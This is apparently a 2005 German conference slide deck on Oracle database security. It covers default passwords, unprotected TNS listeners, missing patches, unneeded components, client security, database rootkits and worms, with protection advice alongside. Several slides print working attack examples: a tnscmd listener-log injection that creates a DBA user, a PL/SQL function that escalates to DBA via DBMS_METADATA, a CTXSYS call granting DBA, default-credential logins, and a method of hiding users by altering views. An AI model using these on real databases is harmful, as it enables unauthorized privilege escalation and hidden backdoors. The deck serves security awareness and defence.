Oracle Sicherheit - Red-Database

Werbung
Oracle Sicherheit
Alexander Kornbrust
18-Oktober-2005
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
1
Agenda
1.
Einführung
2.
TOP-5 Sicherheitsprobleme
3.
Neue Trends
z
Oracle Rootkits
z
Oracle Würmer
4. Demonstration
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
2
Diebstahl von Daten in 2005 in den USA
▪ CardSystems (40 Mio. Kreditkartendaten)
▪ Choiceline (1 Mio. Kreditkartendaten)
▪ DSW Shoe Warehouse (1.4 Mio.
Kreditkartendaten)
▪ HSBC North America
▪ …
Î 102 Vorfälle in den USA 2005 (Stand: Sept.
2005)
http://www.idtheftcenter.org/breaches.pdf
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
3
Hotels & Datenbanksicherheit
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
4
Oracle Sicherheit & Larry Ellison
Oracle OpenWorld 2005 [21-Sep-2005]
He [Larry Ellison] further claimed the last time an Oracle
database was broken into was 15 years ago, versus the 45
minutes he said it took for someone to break into Microsoft's first
version of its Passport online ordering system.
Quellen: http://www.internetnews.com/bus-news/article.php/3550651
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
5
Einige Zahlen zur Oracle Sicherheit
Offiziell von Oracle korrigierte Security-Fehler
> 100 (2004)
> 233 (Stand: Okt 2005)
Momentan offene Security-Probleme
> 90 (versch. Security-Firmen)
Durchschnittliche Zeit bis zur Patchveröffentlichung
> 1,5 Jahre
Quellen: AppSecInc, NGSSoftware, Red-Database-Security GmbH, Argeniss, Oracle
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
6
Einige Zahlen zur Oracle Sicherheit - II
90 % aller großen Firmen hatten Sicherheitsvorfälle
70 % aller entdeckten Vorfälle wurden durch Insider verursacht
Mythos: Hacker verursachen die meisten Einbrüche
Fakt*: Unzufriedene Mitarbeiter und andere Insider waren für
mehr als 70% aller Cyber-Angriffe verantwortlich.
Fakt: Eine Firewall hilft nicht gegen diese Art der Bedrohung.
Quelle: 2004 Computer Security Institute and FBI Survey
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
7
Warum sind Datenbanken oftmals unsicher?
ƒ Datenbanken sind sehr komplex
ƒ Datenbanken sind Out-of-the-Box oft unsicher
ƒ Security und Datenbanken sind meistens 2
verschiedene Welten
ƒ Security-Gruppe hat meist wenig Datenbank-KnowHow
ƒ Datenbankgruppe hat meist wenig Security-KnowHow
ƒ Security im Datenbankumfeld hat eine andere
Bedeutung (Rollen, Privilegien)
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
8
TOP-5-Sicherheitsprobleme
ƒ Default bzw. schwache Passworte
ƒ TNS Listener nicht geschützt
ƒ Security Patches nicht eingespielt
ƒ Nicht benötigte Komponenten installiert
ƒ Oracle Client Sicherheit
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
9
Default / Schwache Passworte
ƒ > 50 % aller Kunden haben zumindest einige Default
Passworte in Datenbanken
ƒ > 80 % aller Kunden verwenden schwache Passworte
(z.B. appuser/appuser)
ƒ > 95 % aller Kunden verwenden auf allen Datenbanken
identische Systempassworte
(Kennt man ein System-Passwort, hat man überall Zugriff)
Quelle: Erfahrungswerte verschiedener Oracle Security Firmen
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
10
Default / Schwache Passworte - Schutz
ƒ Regelmäßige Kontrolle aller Datenbankpassworte
ƒ Oracle Passwort Policies verwenden
ƒ Oracle Skripte anpassen, die Default-Passworte
zurücksetzen
ƒ Identisches Sicherheitsniveau für alle Datenbanken mit
identischen Passworten
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
11
Default / Schwache Passworte - Beispiel
ƒ sqlplus scott/tiger
ƒ sqlplus outln/outln
ƒ sqlplus dbsnmp / dbsnmp
ƒ sqlplus system/manager
ƒ Listen mit Default Passworten sind im Internet* verfügbar
Quelle: http://www.petefinnigan.com/default/default_password_list.htm
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
12
TNS-Listener
ƒ > 90 % aller Oracle Listener sind (standardmäßig) nicht
mit einem Passwort geschützt
ƒ TNS-Listener lässt sich remote administrieren
ƒ Ungeschützte Listener sind leicht zu übernehmen
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
13
TNS-Listener - Schutz
ƒ Listener mit einem (starken) Passwort schützen
ƒ Listener gegen Remote-Administration schützen
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
14
TNS-Listener - Beispiel
ƒ Listener stoppen
lsnrctl stop 122.113.223.122
ƒ Listener-Log verändern
LSNRCTL> set log_file C:\oracle\ora92\sqlplus\admin\glogin.sql
perl tnscmd -h 192.168.2.156 -p 1521 --rawcmd "(CONNECT_DATA=((
> create user hacker identified by hacker;
> grant dba to hacker;
>"
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
15
Security Patches
ƒ Schwierig zu installieren
ƒ Oftmals fehlerhaft *
ƒ Reihenfolge des Patches spielt zum Teil eine Rolle
ƒ Zeitaufwändig
Quelle: On Security, Is Oracle the next Microsoft, http://www.eweek.com/article2/0,1895,1860159,00.asp
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
16
Security Patches - Schutz
ƒ Möglichst wenige Komponenten installieren
ƒ Wenn möglich Workarounds implementieren
ƒ Regelmäßig auf neue Patchlevel updaten
ƒ Feste Wartungstermine festlegen
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
17
Security Patches - Beispiel
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN '';
END;
/
-- Funktion ausführen und DBA-Rechte erlangen
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','')
FROM dual;
Î Lösung: Patches für Oracle Critical Patch Update April
einspielen
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
18
Unnötige Komponenten
ƒ Oracle liefert eine Vielzahl von Optionen und Komponenten
mit aus
(CTXSYS, OLAP, MDSYS, Label Security, …)
ƒ Jede Komponente bedeutet ein zusätzliches Sicherheits- und
Patch-Risiko
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
19
Unnötige Komponenten - Schutz
ƒ Minimale Features je Datenbank Installation
ƒ Nicht benötigte Komponenten löschen oder zumindest
sperren
ƒ Nicht benötigte Privilegien entfernen
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
20
Unnötige Komponenten - Beispiel
DBA werden über gesperrte Komponente „Oracle Text“
sqlplus scott/tiger@ora902
(oder jeder andere unprivilegierte Benutzer)
SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');
BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
21
Oracle Client Sicherheit
ƒ > 95% aller DBA-Clients sind ungeschützt
ƒ Vielfach Datenbank Passworte lokal (verschlüsselt /
unverschlüsselt) gespeichert.
ƒ Gegen lokalen Angriff nicht (ausreichend) gesichert
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
22
Oracle Client Sicherheit - Schutz
ƒ Arbeitsplätze der DBAs / Systemadministratoren
zusätzlich sichern
ƒ Verschlüsselung der Festplatten
ƒ Passworte nicht lokal abspeichern
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
23
Oracle Client Sicherheit - Beispiel
ƒ Reinigungskraft modifiziert Datei glogin.sql auf dem DBA
Client
Beim nächsten Start des Oracle Tools sqlplus, wird
beispielsweise eine Hintertür in der Datenbank installiert
ƒ Virus modifiziert Datei glogin.sql auf dem Rechner des
Administrators. Daraufhin werden alle Datenbanken
gelöscht, an denen sich der DBA anmeldet.
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
24
Demonstration verschiedene Sicherheitslücken
ƒ Default-Passworte
ƒ Ungeschützten Listener angreifen
ƒ Security Patches nicht eingespielt
ƒ Oracle Client Sicherheit
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
25
Neue Trends in der Oracle Sicherheit
ƒ Oracle Rootkits
ƒ Oracle Würmer
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
26
Oracle Rootkits
Datenbank = Betriebssystem
Betriebssysteme und Datenbanken sind in der Architektur
ähnlich.
ƒ Beide besitzen
ƒ Benutzer
ƒ Prozesse
ƒ Jobs
ƒ Ausführbare Objekte
ƒ Symbolische Links
ƒ…
Î Eine Datenbank ist eine Art von Betriebssystem.
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
27
Oracle Rootkits
OS
Oracle
SQL Server
DB2
Postgres
Ps
select * from
v$process
select * from
sysprocesses
list application
select * from
pg_stat_activity
kill 1234
alter system kill
session '12,55'
SELECT @var1 = spid
FROM sysprocesses
WHERE
nt_username='andrew'
AND
spid<>@@spidEXEC
('kill '+@var1);
force application
(1234)
Executa
bles
View, Package,
Procedures and
Functions
View, Stored
Procedures
View, Stored
Procedures
View, Stored
Procedures
execute
select * from
view;
select * from view;
select * from view;
select * from view;
exec procedure
execute procedure
exec procedure
cd
alter session set
current_schema
=user01
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
28
Oracle Rootkits
Da eine Datenbank eine Art von Betriebssystem ist, kann
man jeder Art von Malware vom Betriebssystem auf die
Datenbank migrieren.
Folgende Konzepte sind unter anderem möglich:
ƒ Oracle Rootkits
ƒ Oracle Würmer
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
29
Oracle Rootkits
ƒ Änderungen an Datenbank-Objekten
ƒ Unsichtbare Oracle Benutzer
ƒ Unsichtbare Datenbank Jobs
ƒ Unsichtbare Datenbank Prozesse
ƒ Für den DBA bzw. Datenbank-Tools mit den
üblichen Methoden nicht zu finden
ƒ Ohne Software-Tools schwierig zu finden
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
30
Datenbankbenutzer verstecken
Benutzerverwaltung in Oracle
Benutzer und Rollen werden zusammen in
der Tabelle SYS.USER$ gespeichert
Benutzer besitzen das Flag TYPE# = 1
Rollen besitzen das Flag TYPE# = 0
Die Views dba_users und all_users
vereinfachen den Zugriff
Synonyme für dba_users und all_users
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
31
Datenbankbenutzer verstecken
Beispiel: Erzeugung eins Datenbankbenutzers namens
Hacker
SQL> create user hacker identified
by hacker;
SQL> grant dba to hacker;
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
32
Datenbankbenutzer verstecken
Beispiel: Anzeigen aller Datenbankbenutzer
SQL> select username from dba_users;
USERNAME
-----------------------------SYS
SYSTEM
DBSNMP
SYSMAN
MGMT_VIEW
OUTLN
MDSYS
ORDSYS
EXFSYS
HACKER
[…]
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
33
Datenbankbenutzer verstecken
Enterprise Manager (Java)
Red-Database-Security GmbH
Enterprise Manager (Web)
Alexander Kornbrust, 18-Okt-2005
Quest TOAD
V1.02
34
Datenbankbenutzer verstecken
Zusätzliche Zeile an die
View anhängen
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
35
Datenbankbenutzer verstecken
Enterprise Manager (Java)
Red-Database-Security GmbH
Enterprise Manager (Web)
Alexander Kornbrust, 18-Okt-2005
Quest TOAD
V1.02
36
Datenbankbenutzer verstecken
TOAD benutzt die View ALL_USERS anstatt der DBA_USERS.
Deshalb ist der Benutzer HACKER immer noch sichtbar.
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
37
Datenbankbenutzer verstecken
Nun ist der Benutzer auch in TOAD verschwunden…
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
38
Oracle Rootkits
ƒ Alle Oracle Datenbanken sollten regelmäßig auf
Veränderungen der Struktur hin überprüft werden.
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
39
Datenbank Würmer
ƒ Das erste Mal wurden Datenbank Würmer von Aaron Newman
beschrieben.
ƒ SQL Slammer war der erste weit verbreitete Datenbankwurm,
der ungepatchte MS SQL Server Datenbanken betraf.
ƒ Oracle Würmer sind bisher noch nicht aufgetaucht, für viele ist
es jedoch nur eine Frage der Zeit, bis Würmer auch für Oracle
Datenbanken auftauchen.
ƒ Das Schadenspotential eines solchen Wurms wäre riesig.
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
40
Oracle Würmer
Oracle Würmer können auf folgenden Architekturen basieren
ƒ Oracle Clients
ƒ Application Server
ƒ Fehlerhaften Oracle Services
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
41
Oracle Würmer – basierend auf Oracle Client
Mögliche Architektur
Windows Wurm mit Oracle Payload
Ausnutzen der Oracle Client Startup Dateien
Ausnutzen von Default-Passworten / Dictionary Attack
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
42
Oracle Würmer – basierend auf Application Servern
Suchen potentielle Opfer mit Hilfe von Suchmaschinen
z
Anwendungen mit SQL Injection Lücken
z
Anwendungen mit Buffer Overflow Lücken
z
Dringen von der Anwendung heraus in weitere Systeme ein
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
43
Oracle Würmer – basierend auf Application Servern
http://www.google.com/search? q=intitle%3AiSQL+intitle%3ARelease+inurl%3A
isqlplus+intitle%3A9.2.0.1&btnG=Search
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
44
Oracle Würmer – Basierend auf fehlerhaften Services
Angriff der Datenbanken durch fehlerhaften
Implementierung von Oracle Datenbank Services, z.B.
TNS-Listener, ONS, …
Î Ähnliche Gefahr der schnellen Ausbreitung wie SQLSlammer
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
45
F&A
Fragen & Antworten
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
46
Kontakt
Oracle Sicherheitsüberprüfungen, Beratung,
Training & Oracle Security Software
Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
Telefon: +49 (0)6821 – 95 17 637
Fax:
+49 (0)6821 – 91 27 354
E-Mail: [email protected]
Red-Database-Security GmbH
Alexander Kornbrust, 18-Okt-2005
V1.02
47
Herunterladen